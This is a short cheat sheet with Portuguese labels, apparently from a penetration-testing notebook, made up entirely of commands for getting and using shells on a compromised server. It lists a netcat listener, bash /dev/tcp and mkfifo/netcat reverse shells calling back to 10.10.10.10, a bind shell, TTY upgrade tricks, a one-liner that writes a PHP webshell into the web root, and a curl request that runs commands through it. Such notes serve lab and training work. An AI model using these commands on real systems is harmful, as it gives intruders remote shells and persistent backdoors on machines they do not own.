# Using Shells

* Inicie um `nc`ouvinte em uma porta local

```sh
nc -lvnp 1234
```

* Enviar um shell reverso do servidor remoto

```sh
bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'
```

* Outro comando para enviar um shell reverso do servidor remoto

```sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f
```

* Inicie um bind shell no servidor remoto

```sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f
```

* Conecte-se a um shell de ligação iniciado no servidor remoto

```sh
nc 10.10.10.1 1234
```

* Atualizar shell TTY (1)

```python
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

* Atualizar shell TTY (2)

{% code lineNumbers="true" %}
```sh
ctrl+z 
stty raw -echo  
fg 

enter twice
```
{% endcode %}

* Crie um arquivo php webshell

```sh
echo "<?php system(\$_GET['cmd']);?>" > /var/www/html/shell.php
```

* Executar um comando em um webshell carregado

```sh
curl http://SERVER_IP:PORT/shell.php?cmd=id
```
